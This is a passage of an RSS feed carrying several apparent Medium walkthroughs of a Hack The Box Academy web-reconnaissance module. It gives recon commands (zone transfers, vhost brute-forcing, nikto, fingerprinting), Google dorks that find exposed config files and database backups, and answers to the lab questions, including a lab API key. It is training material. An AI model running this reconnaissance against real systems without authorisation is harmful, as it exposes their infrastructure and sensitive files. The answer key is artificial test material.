For instance, to access a website&#39;s security policy, a client would request <a href="https://example.com/.well-known/security.txt.">https://example.com/.well-known/security.txt.</a></p><p>The Internet Assigned Numbers Authority (IANA) maintains a <a href="https://www.iana.org/assignments/well-known-uris/well-known-uris.xhtml">registry</a> of .well-known URIs, each serving a specific purpose defined by various specifications and standards. Below is a table highlighting a few notable examples:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4XKVTtoV6fd-q_x-fud5gA.png" /></figure><p>This is just a small sample of the many .well-known URIs registered with IANA. Each entry in the registry offers specific guidelines and requirements for implementation, ensuring a standardized approach to leveraging the .well-known mechanism for various applications.</p><h4>Web Recon and .well-known</h4><p>In web recon, the .well-known URIs can be invaluable for discovering endpoints and configuration details that can be further tested during a penetration test. One particularly useful URI is openid-configuration.</p><p>The openid-configuration URI is part of the OpenID Connect Discovery protocol, an identity layer built on top of the OAuth 2.0 protocol. When a client application wants to use OpenID Connect for authentication, it can retrieve the OpenID Connect Provider&#39;s configuration by accessing the https://example.com/.well-known/openid-configuration endpoint. This endpoint returns a JSON document containing metadata about the provider&#39;s endpoints, supported authentication methods, token issuance, and more:</p><h4>Creepy Crawlies</h4><p>Tools:</p><ol><li>Burp Suite Spider</li><li>OWASP ZAP (Zed Attack Proxy)</li><li>Scrapy (Python Framework)</li><li>Apache Nutch (Scalable Crawler)</li></ol><h4>Installing Scrapy</h4><pre>pip3 install scrapy</pre><h3>ReconSpider</h3><p>First, run this command in your terminal to download the custom scrapy spider, ReconSpider, and extract it to the current working directory.</p><pre>wget -O ReconSpider.zip https://academy.hackthebox.com/storage/modules/144/ReconSpider.v1.2.zip<br>unzip ReconSpider.zip</pre><p>With the files extracted, you can run ReconSpider.py using the following command:</p><pre>python3 ReconSpider.py http://inlanefreight.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hmkNbqMRUon-o7WXA9sceQ.png" /></figure><p><strong>Questions: After spidering inlanefreight.com, identify the location where future reports will be stored. Respond with the full domain, e.g., files.inlanefreight.com.</strong></p><p><strong>Answer: </strong>inlanefreight-comp133.s3.amazonaws.htb</p><pre>pip3 install scrapy<br>wget -O ReconSpider.zip https://academy.hackthebox.com/storage/modules/144/ReconSpider.v1.2.zip<br>unzip ReconSpider.zip<br>python3 ReconSpider.py http://inlanefreight.com<br>cat results.json</pre><h3>Search Engine Discovery</h3><p>Search engines serve as our guides in the vast landscape of the internet, helping us navigate through the seemingly endless expanse of information. However, beyond their primary function of answering everyday queries, search engines also hold a treasure trove of data that can be invaluable for web reconnaissance and information gathering. This practice, known as search engine discovery or OSINT (Open Source Intelligence) gathering, involves using search engines as powerful tools to uncover information about target websites, organisations, and individuals.</p><h3>Search Operators</h3><p>Search operators are like search engines’ secret codes. These special commands and modifiers unlock a new level of precision and control, allowing you to pinpoint specific types of information amidst the vastness of the indexed web.</p><p>While the exact syntax may vary slightly between search engines, the underlying principles remain consistent. Let’s delve into some essential and advanced search operators:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*dPfwRIS2lBcGqXnyXPaAcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*qfb7aNIar4a90BQN27KKqw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*YfvrwZ5lttfOsJFoSbB9ag.png" /></figure><h3>Google Dorking</h3><p>Google Dorking, also known as Google Hacking, is a technique that leverages the power of search operators to uncover sensitive information, security vulnerabilities, or hidden content on websites, using Google Search.</p><p>Here are some common examples of Google Dorks, for more examples, refer to the <a href="https://www.exploit-db.com/google-hacking-database">Google Hacking Database</a>:</p><p>Finding Login Pages:</p><ul><li>site:example.com inurl:login</li><li>site:example.com (inurl:login OR inurl:admin)</li></ul><p>Identifying Exposed Files:</p><ul><li>site:example.com filetype:pdf</li><li>site:example.com (filetype:xls OR filetype:docx)</li></ul><p>Uncovering Configuration Files:</p><ul><li>site:example.com inurl:config.php</li><li>site:example.com (ext:conf OR ext:cnf) (searches for extensions commonly used for configuration files)</li></ul><p>Locating Database Backups:</p><ul><li>site:example.com inurl:backup</li><li>site:example.com filetype:sql</li></ul><h4>Web Archives</h4><p>In the fast-paced digital world, websites come and go, leaving only fleeting traces of their existence behind. However, thanks to the <a href="https://web.archive.org/">Internet Archive’s Wayback Machine</a>, we have a unique opportunity to revisit the past and explore the digital footprints of websites as they once were.</p><h4>What is the Wayback Machine?</h4><p>The Wayback Machine is a digital archive of the World Wide Web and other information on the Internet. Founded by the Internet Archive, a non-profit organization, it has been archiving websites since 1996.</p><p>It allows users to “go back in time” and view snapshots of websites as they appeared at various points in their history. These snapshots, known as captures or archives, provide a glimpse into the past versions of a website, including its design, content, and functionality.</p><h4>How Does the Wayback Machine Work?</h4><p>The Wayback Machine operates by using web crawlers to capture snapshots of websites at regular intervals automatically. These crawlers navigate through the web, following links and indexing pages, much like how search engine crawlers work. However, instead of simply indexing the information for search purposes, the Wayback Machine stores the entire content of the pages, including HTML, CSS, JavaScript, images, and other resources.</p><ol><li>Crawling: The Wayback Machine employs automated web crawlers, often called &quot;bots,&quot; to browse the internet systematically. These bots follow links from one webpage to another, like how you would click hyperlinks to explore a website. However, instead of just reading the content, these bots download copies of the webpages they encounter.</li><li>Archiving: The downloaded webpages, along with their associated resources like images, stylesheets, and scripts, are stored in the Wayback Machine&#39;s vast archive. Each captured webpage is linked to a specific date and time, creating a historical snapshot of the website at that moment. This archiving process happens at regular intervals, sometimes daily, weekly, or monthly, depending on the website&#39;s popularity and frequency of updates.</li><li>Accessing: Users can access these archived snapshots through the Wayback Machine&#39;s interface. By entering a website&#39;s URL and selecting a date, you can view how the website looked at that specific point. The Wayback Machine allows you to browse individual pages and provides tools to search for specific terms within the archived content or download entire archived websites for offline analysis.</li></ol><p>The frequency with which the Wayback Machine archives a website varies. Some websites might be archived multiple times a day, while others might only have a few snapshots spread out over several years. Factors that influence this frequency include the website’s popularity, its rate of change, and the resources available to the Internet Archive.</p><p>It’s important to note that the Wayback Machine does not capture every single webpage online. It prioritizes websites deemed to be of cultural, historical, or research value. Additionally, website owners can request that their content be excluded from the Wayback Machine, although this is not always guaranteed.</p><h4>Why the Wayback Machine Matters for Web Reconnaissance</h4><p>The Wayback Machine is a treasure trove for web reconnaissance, offering information that can be instrumental in various scenarios. Its significance lies in its ability to unveil a website’s past, providing valuable insights that may not be readily apparent in its current state:</p><ol><li>Uncovering Hidden Assets and Vulnerabilities: The Wayback Machine allows you to discover old web pages, directories, files, or subdomains that might not be accessible on the current website, potentially exposing sensitive information or security flaws.</li><li>Tracking Changes and Identifying Patterns: By comparing historical snapshots, you can observe how the website has evolved, revealing changes in structure, content, technologies, and potential vulnerabilities.</li><li>Gathering Intelligence: Archived content can be a valuable source of OSINT, providing insights into the target&#39;s past activities, marketing strategies, employees, and technology choices.</li><li>Stealthy Reconnaissance: Accessing archived snapshots is a passive activity that doesn&#39;t directly interact with the target&#39;s infrastructure, making it a less detectable way to gather information.</li></ol><p>Questions: How many Pen Testing Labs did HackTheBox have on the 8th August 2018? Answer with an integer, eg 1234.</p><p>Answer : 74</p><p>Questions: How many members did HackTheBox have on the 10th June 2017? Answer with an integer, eg 1234.</p><p>Answer: 3054</p><p>Questions: Going back to March 2002, what website did the facebook.com domain redirect too? Answer with the full domain, eg <a href="http://www.facebook.com/">http://www.facebook.com/</a></p><p>Answer: <a href="http://site.aboutface.com/">http://site.aboutface.com/</a></p><p>Questions: According to the paypal.com website in October 1999, what could you use to “beam money to anyone”? Answer with the product name, eg My Device, remove the ™ from your answer.</p><p>Answer: Palm 0rganizer</p><p>Questions: Going back to November 1998 on google.com, what address hosted the non-alpha “Google Search Engine Prototype” of Google? Answer with the full address, eg <a href="http://google.com/">http://google.com</a></p><p>Answer: <a href="http://google.stanford.edu/">http://google.stanford.edu/</a></p><p>Questions: Going back to March 2000 on <a href="http://www.iana.org,/">www.iana.org,</a> when exacty was the site last updated? Answer with the date in the footer, eg 11-March-99</p><p>Answer: December 17, 1999</p><p>Questions: According to the wikipedia.com snapshot taken in March 2001, how many pages did they have over? Answer with the number they state without any commas, eg 2000 not 2,000</p><p>Answer: 3000</p><h3>Automating Recon</h3><p>While manual reconnaissance can be effective, it can also be time-consuming and prone to human error. Automating web reconnaissance tasks can significantly enhance efficiency and accuracy, allowing you to gather information at scale and identify potential vulnerabilities more rapidly.</p><h3>Why Automate Reconnaissance?</h3><p>Automation offers several key advantages for web reconnaissance:</p><ul><li>Efficiency</li><li>Scalability</li><li>Consistency</li><li>Comprehensive Coverage</li><li>Integration</li></ul><h3>Reconnaissance Frameworks</h3><p>These frameworks aim to provide a complete suite of tools for web reconnaissance:</p><ul><li><a href="https://github.com/thewhiteh4t/FinalRecon">FinalRecon</a></li><li><a href="https://github.com/lanmaster53/recon-ng">Recon-ng</a></li><li><a href="https://github.com/laramies/theHarvester">theHarvester</a></li><li><a href="https://github.com/smicallef/spiderfoot">SpiderFoot</a></li><li><a href="https://osintframework.com/">OSINT Framework</a></li></ul><h3>FinalRecon</h3><p>FinalRecon offers a wealth of recon information:</p><ul><li>Header Information: Reveals server details, technologies used, and potential security misconfigurations.</li><li>Whois Lookup: Uncovers domain registration details, including registrant information and contact details.</li><li>SSL Certificate Information: Examines the SSL/TLS certificate for validity, issuer, and other relevant details.</li><li>Crawler:</li></ul><p>HTML, CSS, JavaScript: Extracts links, resources, and potential vulnerabilities from these files.</p><p>Internal/External Links: Maps out the website’s structure and identifies connections to other domains.</p><p>Images, robots.txt, sitemap.xml: Gathers information about allowed/disallowed crawling paths and website structure.</p><p>Links in JavaScript, Wayback Machine: Uncovers hidden links and historical website data.</p><ul><li>DNS Enumeration: Queries over 40 DNS record types, including DMARC records for email security assessment.</li><li>Subdomain Enumeration: Leverages multiple data sources (crt.sh, AnubisDB, ThreatMiner, CertSpotter, Facebook API, VirusTotal API, Shodan API, BeVigil API) to discover subdomains.</li><li>Directory Enumeration: Supports custom wordlists and file extensions to uncover hidden directories and files.</li><li>Wayback Machine: Retrieves URLs from the last five years to analyse website changes and potential vulnerabilities.</li></ul><pre>git clone https://github.com/thewhiteh4t/FinalRecon.git<br>cd FinalRecon<br>pip3 install -r requirements.txt<br>chmod +x ./finalrecon.py<br>./finalrecon.py --help</pre><p>-h, --helpShow the help message and exit.</p><p>--urlURLSpecify the target URL.</p><p>--headersRetrieve header information for the target URL.</p><p>--sslinfoGet SSL certificate information for the target URL.</p><p>--whoisPerform a Whois lookup for the target domain.</p><p>--crawlCrawl the target website.</p><p>--dnsPerform DNS enumeration on the target domain.</p><p>--subEnumerate subdomains for the target domain.</p><p>--dirSearch for directories on the target website.</p><p>--waybackRetrieve Wayback URLs for the target.</p><p>--psPerform a fast port scan on the target.</p><p>--fullPerform a full reconnaissance scan on the target.</p><pre>./finalrecon.py --headers --whois --url http://inlanefreight.com</pre><h3>Skills Assessment</h3><p>Set target and Vhost</p><p>Questions: What is the IANA ID of the registrar of the inlanefreight.com domain?</p><p>Answer: 468</p><pre>whois target.com</pre><p>Questions: What http server software is powering the inlanefreight.htb site on the target system? Respond with the name of the software, not the version, e.g., Apache.</p><p>Answer: nginx</p><pre> curl -i http://83.136.254.140:59783</pre><p>Questions: What is the API key in the hidden admin directory that you have discovered on the target system?</p><p>Answer: e963d863ee0e82ba7080fbf558ca0d3f</p><pre>gobuster vhost -u http://inlanefreight.htb:59783 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain<br>(Add new vhost)<br>sudo nano /etc/hosts<br>cat /etc/hosts<br>curl -i http://webxxxx.inlanefreight.htb:59783<br>curl -i http://webxxxx.inlanefreight.htb:59783/robots.txt<br>curl -i http://webxxxx.inlanefreight.htb:59783/admin_h1dd3n/</pre><p>Questions: After crawling the inlanefreight.htb domain on the target system, what is the email address you have found? Respond with the full email, e.g., mail@inlanefreight.htb.</p><p>Answer: 1337testing@inlanefreight.htb</p><p>Questions: What is the API key the inlanefreight.htb developers will be changing too?</p><p>Answer: ba988b835be4aa97d068941dc852ff33</p><pre>gobuster vhost -u http://webxxxx.inlanefreight.htb:59783 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain<br>set vhost again<br>pip3 install scrapy<br>wget -O ReconSpider.zip https://academy.hackthebox.com/storage/modules/144/ReconSpider.v1.2.zip<br>unzip ReconSpider.zip<br>python3 ReconSpider.py http://xxx.webxxxx.inlanefreight.htb:59783</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7917abaea2ed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Information Gathering — Web Edition — HTB (Part 2)]]></title>
            <link>https://medium.com/@muskanmadhur11.11/information-gathering-web-edition-htb-part-2-92a595f40942?source=rss-7786feb871d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/92a595f40942</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <dc:creator><![CDATA[Muskanmadhur]]></dc:creator>
            <pubDate>Tue, 25 Mar 2025 09:25:12 GMT</pubDate>
            <atom:updated>2025-03-25T09:25:12.490Z</atom:updated>
            <content:encoded><![CDATA[<h3>Information Gathering — Web Edition — HTB (Part 2)</h3><h3>DNS Zone Transfers</h3><p>While brute-forcing can be a fruitful approach, there’s a less invasive and potentially more efficient method for uncovering subdomains — DNS zone transfers. This mechanism, designed for replicating DNS records between name servers, can inadvertently become a goldmine of information for prying eyes if misconfigured.</p><h3>What is a Zone Transfer</h3><p>A DNS zone transfer is essentially a wholesale copy of all DNS records within a zone (a domain and its subdomains) from one name server to another. This process is essential for maintaining consistency and redundancy across DNS servers. However, if not adequately secured, unauthorised parties can download the entire zone file, revealing a complete list of subdomains, their associated IP addresses, and other sensitive DNS data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*rjx4SRW2RE-SoCT6xfArMw.png" /></figure><ol><li>Zone Transfer Request (AXFR): The secondary DNS server initiates the process by sending a zone transfer request to the primary server. This request typically uses the AXFR (Full Zone Transfer) type.</li><li>SOA Record Transfer: Upon receiving the request (and potentially authenticating the secondary server), the primary server responds by sending its Start of Authority (SOA) record. The SOA record contains vital information about the zone, including its serial number, which helps the secondary server determine if its zone data is current.</li><li>DNS Records Transmission: The primary server then transfers all the DNS records in the zone to the secondary server, one by one. This includes records like A, AAAA, MX, CNAME, NS, and others that define the domain&#39;s subdomains, mail servers, name servers, and other configurations.</li><li>Zone Transfer Complete: Once all records have been transmitted, the primary server signals the end of the zone transfer. This notification informs the secondary server that it has received a complete copy of the zone data.</li><li>Acknowledgement (ACK): The secondary server sends an acknowledgement message to the primary server, confirming the successful receipt and processing of the zone data. This completes the zone transfer process.</li></ol><h3>The Zone Transfer Vulnerability</h3><p>While zone transfers are essential for legitimate DNS management, a misconfigured DNS server can transform this process into a significant security vulnerability. The core issue lies in the access controls governing who can initiate a zone transfer.</p><p>In the early days of the internet, allowing any client to request a zone transfer from a DNS server was common practice. This open approach simplified administration but opened a gaping security hole. It meant that anyone, including malicious actors, could ask a DNS server for a complete copy of its zone file, which contains a wealth of sensitive information.</p><p>The information gleaned from an unauthorised zone transfer can be invaluable to an attacker. It reveals a comprehensive map of the target’s DNS infrastructure, including:</p><ul><li>Subdomains: A complete list of subdomains, many of which might not be linked from the main website or easily discoverable through other means. These hidden subdomains could host development servers, staging environments, administrative panels, or other sensitive resources.</li><li>IP Addresses: The IP addresses associated with each subdomain, providing potential targets for further reconnaissance or attacks.</li><li>Name Server Records: Details about the authoritative name servers for the domain, revealing the hosting provider and potential misconfigurations.</li></ul><h4>Exploiting Zone Transfers</h4><pre>dig axfr @nsztm1.digi.ninja zonetransfer.me</pre><p>This command instructs dig to request a full zone transfer (axfr) from the DNS server responsible for zonetransfer.me. If the server is misconfigured and allows the transfer, you&#39;ll receive a complete list of DNS records for the domain, including all subdomains.</p><pre>dig axfr @nsztm1.digi.ninja zonetransfer.me</pre><p>zonetransfer.me is a service specifically setup to demonstrate the risks of zone transfers so that the dig command will return the full zone record.</p><p><strong>Questions: After performing a zone transfer for the domain inlanefreight.htb on the target system, how many DNS records are retrieved from the target system’s name server? Provide your answer as an integer, e.g, 123.</strong></p><p><strong>Answer: </strong>22</p><pre>dig axfr @10.129.31.197 inlanefreight.htb</pre><p><strong>Questions : Within the zone record transferred above, find the ip address for ftp.admin.inlanefreight.htb. Respond only with the IP address, eg 127.0.0.1</strong></p><p><strong>Answer : </strong>10.10.34.2</p><p><strong>Questions: Within the same zone record, identify the largest IP address allocated within the 10.10.200 IP range. Respond with the full IP address, eg 10.10.200.1</strong></p><p><strong>Answer: </strong>10.10.200.14</p><h3>Virtual Hosts</h3><p>Once the DNS directs traffic to the correct server, the web server configuration becomes crucial in determining how the incoming requests are handled. Web servers like Apache, Nginx, or IIS are designed to host multiple websites or applications on a single server. They achieve this through virtual hosting, which allows them to differentiate between domains, subdomains, or even separate websites with distinct content.</p><h3>How Virtual Hosts Work: Understanding VHosts and Subdomains</h3><p>At the core of virtual hosting is the ability of web servers to distinguish between multiple websites or applications sharing the same IP address. This is achieved by leveraging the HTTP Host header, a piece of information included in every HTTP request sent by a web browser.</p><p>The key difference between VHosts and subdomains is their relationship to the Domain Name System (DNS) and the web server&#39;s configuration.</p><ul><li>Subdomains: These are extensions of a main domain name (e.g., blog.example.com is a subdomain of example.com). Subdomains typically have their own DNS records, pointing to either the same IP address as the main domain or a different one. They can be used to organise different sections or services of a website.</li><li>Virtual Hosts (VHosts): Virtual hosts are configurations within a web server that allow multiple websites or applications to be hosted on a single server. They can be associated with top-level domains (e.g., example.com) or subdomains (e.g., dev.example.com). Each virtual host can have its own separate configuration, enabling precise control over how requests are handled.</li></ul><p>If a virtual host does not have a DNS record, you can still access it by modifying the hosts file on your local machine. The hosts file allows you to map a domain name to an IP address manually, bypassing DNS resolution.</p><p>Websites often have subdomains that are not public and won’t appear in DNS records. These subdomains are only accessible internally or through specific configurations. VHost fuzzing is a technique to discover public and non-public subdomains and VHosts by testing various hostnames against a known IP address.</p><h3>Virtual Host Discovery Tools</h3><p><a href="https://github.com/OJ/gobuster">gobuster</a></p><p><a href="https://github.com/epi052/feroxbuster">Feroxbuster</a></p><p><a href="https://github.com/ffuf/ffuf">ffuf</a></p><pre>gobuster vhost -u http://&lt;target_IP_address&gt; -w &lt;wordlist_file&gt; --append-domain</pre><pre>gobuster vhost -u http://inlanefreight.htb:81 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain</pre><ul><li>The -u flag specifies the target URL (replace &lt;target_IP_address&gt; with the actual IP).</li><li>The -w flag specifies the wordlist file (replace &lt;wordlist_file&gt; with the path to your wordlist).</li><li>The --append-domain flag appends the base domain to each word in the wordlist.</li></ul><p><strong>Questions : Brute-force vhosts on the target system. What is the full subdomain that is prefixed with “web”? Answer using the full domain, e.g. “x.inlanefreight.htb”</strong></p><p><strong>Answer: </strong>web17611.inlanefreight.htb</p><pre>Sudo nano /etc/hosts (save target.ip inlanefreight.htb) (no port)<br><br>gobuster vhost -u http://inlanefreight.htb:48657 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain</pre><p><strong>Questions : Brute-force vhosts on the target system. What is the full subdomain that is prefixed with “vm”? Answer using the full domain, e.g. “x.inlanefreight.htb”</strong></p><p><strong>Answer: </strong>vm5.inlanefreight.htb</p><p><strong>Questions: Brute-force vhosts on the target system. What is the full subdomain that is prefixed with “br”? Answer using the full domain, e.g. “x.inlanefreight.htb”</strong></p><p><strong>Answer: </strong>browse.inlanefreight.htb</p><p><strong>Questions: Brute-force vhosts on the target system. What is the full subdomain that is prefixed with “a”? Answer using the full domain, e.g. “x.inlanefreight.htb”</strong></p><p><strong>Answer: </strong>admin.inlanefreight.htb</p><p><strong>Questions: Brute-force vhosts on the target system. What is the full subdomain that is prefixed with “su”? Answer using the full domain, e.g. “x.inlanefreight.htb”</strong></p><p><strong>Answer: </strong>support.inlanefreight.htb</p><h3>Certificate Transparency Logs</h3><p>In the sprawling mass of the internet, trust is a fragile commodity. One of the cornerstones of this trust is the Secure Sockets Layer/Transport Layer Security (SSL/TLS) protocol, which encrypts communication between your browser and a website. At the heart of SSL/TLS lies the digital certificate, a small file that verifies a website&#39;s identity and allows for secure, encrypted communication.</p><p>However, the process of issuing and managing these certificates isn’t foolproof. Attackers can exploit rogue or mis-issued certificates to impersonate legitimate websites, intercept sensitive data, or spread malware. This is where Certificate Transparency (CT) logs come into play.</p><h3>What are Certificate Transparency Logs?</h3><p>Certificate Transparency (CT) logs are public, append-only ledgers that record the issuance of SSL/TLS certificates. Whenever a Certificate Authority (CA) issues a new certificate, it must submit it to multiple CT logs. Independent organisations maintain these logs and are open for anyone to inspect.</p><p>Think of CT logs as a global registry of certificates. They provide a transparent and verifiable record of every SSL/TLS certificate issued for a website. This transparency serves several crucial purposes:</p><ul><li>Early Detection of Rogue Certificates: By monitoring CT logs</li><li>Accountability for Certificate Authorities: CT logs hold CAs accountable for their issuance practices.</li><li>Strengthening the Web PKI (Public Key Infrastructure): The Web PKI is the trust system underpinning secure online communication.</li></ul><h3>CT Logs and Web Recon</h3><p>Certificate Transparency logs offer a unique advantage in subdomain enumeration compared to other methods. Unlike brute-forcing or wordlist-based approaches, which rely on guessing or predicting subdomain names, CT logs provide a definitive record of certificates issued for a domain and its subdomains. This means you’re not limited by the scope of your wordlist or the effectiveness of your brute-forcing algorithm. Instead, you gain access to a historical and comprehensive view of a domain’s subdomains, including those that might not be actively used or easily guessable.</p><p>Tool</p><p><a href="https://crt.sh/">crt.sh</a></p><p><a href="https://search.censys.io/">Censys</a></p><h3>crt.sh lookup</h3><pre>curl -s &quot;https://crt.sh/?q=facebook.com&amp;output=json&quot; | jq -r &#39;.[]<br> | select(.name_value | contains(&quot;dev&quot;)) | .name_value&#39; | sort -u</pre><ul><li>curl -s &quot;https://crt.sh/?q=facebook.com&amp;output=json&quot;: This command fetches the JSON output from crt.sh for certificates matching the domain facebook.com.</li><li>jq -r &#39;.[] | select(.name_value | contains(&quot;dev&quot;)) | .name_value&#39;: This part filters the JSON results, selecting only entries where the name_value field (which contains the domain or subdomain) includes the string &quot;dev&quot;. The -r flag tells jq to output raw strings.</li><li>sort -u: This sorts the results alphabetically and removes duplicates.</li></ul><h3>Fingerprinting</h3><p>Fingerprinting focuses on extracting technical details about the technologies powering a website or web application. Similar to how a fingerprint uniquely identifies a person, the digital signatures of web servers, operating systems, and software components can reveal critical information about a target’s infrastructure and potential security weaknesses. This knowledge empowers attackers to tailor attacks and exploit vulnerabilities specific to the identified technologies.</p><p>Fingerprinting serves as a cornerstone of web reconnaissance for several reasons:</p><ul><li>Targeted Attacks</li><li>Identifying Misconfigurations</li><li>Prioritising Targets</li><li>Building a Comprehensive Profile</li></ul><h3>Fingerprinting Techniques</h3><p>There are several techniques used for web server and technology fingerprinting:</p><ul><li>Banner Grabbing</li><li>Analysing HTTP Headers</li><li>Probing for Specific Responses</li><li>Analysing Page Content</li></ul><p>Tool</p><p>Wappalyzer</p><p>BuiltWith</p><p>WhatWeb</p><p>Nmap</p><p>Netcraft</p><p>wafw00f</p><h3>Banner Grabbing</h3><pre>curl -I inlanefreight.com<br>curl -I https://inlanefreight.com<br>curl -I https://www.inlanefreight.com</pre><h3>Wafw00f</h3><pre>pip3 install git+https://github.com/EnableSecurity/wafw00f<br>wafw00f inlanefreight.com</pre><h3>Nikto</h3><pre>sudo apt update &amp;&amp; sudo apt install -y perl<br>git clone https://github.com/sullo/nikto<br>cd nikto/program<br>chmod +x ./nikto.pl<br>nikto -h inlanefreight.com -Tuning b</pre><p><strong>Questions: Determine the Apache version running on app.inlanefreight.local on the target system. (Format: 0.0.0)</strong></p><p><strong>Answer: </strong>2.4.41</p><p>set target and Vhost in etc/hosts</p><p>curl -I app.inlanefreight.local</p><pre>curl -I app.inlanefreight.local</pre><p>Questions: Which CMS is used on app.inlanefreight.local on the target system? Respond with the name only, e.g., WordPress.</p><p>Answer: Joomla!</p><pre>whatweb -a3 http://app.inlanefreight.local -v</pre><p>Questions: On which operating system is the dev.inlanefreight.local webserver running in the target system? Respond with the name only, e.g., Debian.</p><p>Answer: Ubuntu</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92a595f40942" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Information Gathering — Web Edition — HTB]]></title>
            <link>https://medium.com/@muskanmadhur11.11/information-gathering-web-edition-htb-fd8f3fcf2a52?source=rss-7786feb871d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd8f3fcf2a52</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[Muskanmadhur]]></dc:creator>
            <pubDate>Mon, 24 Mar 2025 19:40:04 GMT</pubDate>
            <atom:updated>2025-03-24T19:40:04.013Z</atom:updated>
            <content:encoded><![CDATA[<h4>Information Gathering — Web Edition — HTB</h4><h4>Introduction</h4><p>Web Reconnaissance is the foundation of a thorough security assessment. This process involves systematically and meticulously collecting information about a target website or web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*S4ALpsuIUa8MRHUW.png" /></figure><p>The primary goals of web reconnaissance include:</p><ul><li>Identifying Assets: Uncovering all publicly accessible components of the target, such as web pages, subdomains, IP addresses, and technologies used. This step provides a comprehensive overview of the target&#39;s online presence.</li><li>Discovering Hidden Information: Locating sensitive information that might be inadvertently exposed, including backup files, configuration files, or internal documentation. These findings can reveal valuable insights and potential entry points for attacks.</li><li>Analysing the Attack Surface: Examining the target&#39;s attack surface to identify potential vulnerabilities and weaknesses. This involves assessing the technologies used, configurations, and possible entry points for exploitation.</li><li>Gathering Intelligence: Collecting information that can be leveraged for further exploitation or social engineering attacks. This includes identifying key personnel, email addresses, or patterns of behaviour that could be exploited.</li></ul><h4>Types of Reconnaissance</h4><p>Web reconnaissance encompasses two fundamental methodologies: active and passive reconnaissance</p><h4>Active Reconnaissance</h4><p>In active reconnaissance, the attacker directly interacts with the target system to gather information. This interaction can take various forms:</p><ul><li>Port Scanning</li><li>Vulnerability Scanning</li><li>Network Mapping</li><li>Banner Grabbing</li><li>OS Fingerprinting</li><li>Service Enumeration</li><li>Web Spidering</li></ul><h4>Passive Reconnaissance</h4><p>In contrast, passive reconnaissance involves gathering information about the target without directly interacting with it. This relies on analysing publicly available information and resources, such as:</p><ul><li>Search Engine Queries</li><li>WHOIS Lookups</li><li>DNS</li><li>Web Archive Analysis</li><li>Social Media Analysis</li><li>Code Repositories</li></ul><h3>WHOIS</h3><p>WHOIS is a widely used query and response protocol designed to access databases that store information about registered internet resources. Primarily associated with domain names, WHOIS can also provide details about IP address blocks and autonomous systems. Think of it as a giant phonebook for the internet, letting you look up who owns or is responsible for various online assets.</p><pre>whois inlanefreight.com</pre><p>Each WHOIS record typically contains the following information:</p><ul><li>Domain Name: The domain name itself (e.g., example.com)</li><li>Registrar: The company where the domain was registered (e.g., GoDaddy, Namecheap)</li><li>Registrant Contact: The person or organization that registered the domain.</li><li>Administrative Contact: The person responsible for managing the domain.</li><li>Technical Contact: The person handling technical issues related to the domain.</li><li>Creation and Expiration Dates: When the domain was registered and when it&#39;s set to expire.</li><li>Name Servers: Servers that translate the domain name into an IP address.</li></ul><h3>Using WHOIS</h3><pre>sudo apt update<br>sudo apt install whois -y<br>whois facebook.com</pre><p><strong>Questions: Perform a WHOIS lookup against the paypal.com domain. What is the registrar Internet Assigned Numbers Authority (IANA) ID number?</strong></p><p><strong>Answer: </strong>292</p><pre>whois target.com</pre><p><strong>Questions: What is the admin email contact for the tesla.com domain (also in-scope for the Tesla bug bounty program)?</strong></p><p><strong>Answer: </strong><a href="/service/mailto:admin@dnstinations.com">admin@dnstinations.com</a></p><pre>whois target.com</pre><h3>DNS</h3><p>The Domain Name System (DNS) acts as the internet&#39;s GPS, guiding your online journey from memorable landmarks (domain names) to precise numerical coordinates (IP addresses). Much like how GPS translates a destination name into latitude and longitude for navigation, DNS translates human-readable domain names (like www.example.com) into the numerical IP addresses (like 192.0.2.1) that computers use to communicate.</p><p><strong>Digging DNS</strong></p><p><strong>DNS Tools</strong></p><ul><li>dig</li><li>nslookup</li><li>host</li><li>dnsenum</li><li>fierce</li><li>dnsrecon</li><li>theHarvester</li><li>Online DNS Lookup Services</li></ul><h4>The Domain Information Groper</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zqVF8k4NbQkSRRGlk8TOtg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*whlAUy2j1E-dRvUsb9uQow.png" /></figure><h4>Groping DNS</h4><pre>dig google.com</pre><p>If you just want the answer to the question, without any of the other information, you can query dig using +short:</p><pre>dig +short hackthebox.com</pre><p><strong>Questions: Which IP address maps to inlanefreight.com?</strong></p><p><strong>Answer : </strong>134.209.24.248</p><pre>dig +short inlanefreight.com</pre><p><strong>Questions : Which domain is returned when querying the PTR record for 134.209.24.248?</strong></p><p><strong>Answer : </strong>inlanefreight.com</p><p><strong>Questions : What is the full domain returned when you query the mail records for facebook.com?</strong></p><p><strong>Answer: </strong>smtpin.vvv.facebook.com</p><pre>dig facebook.com 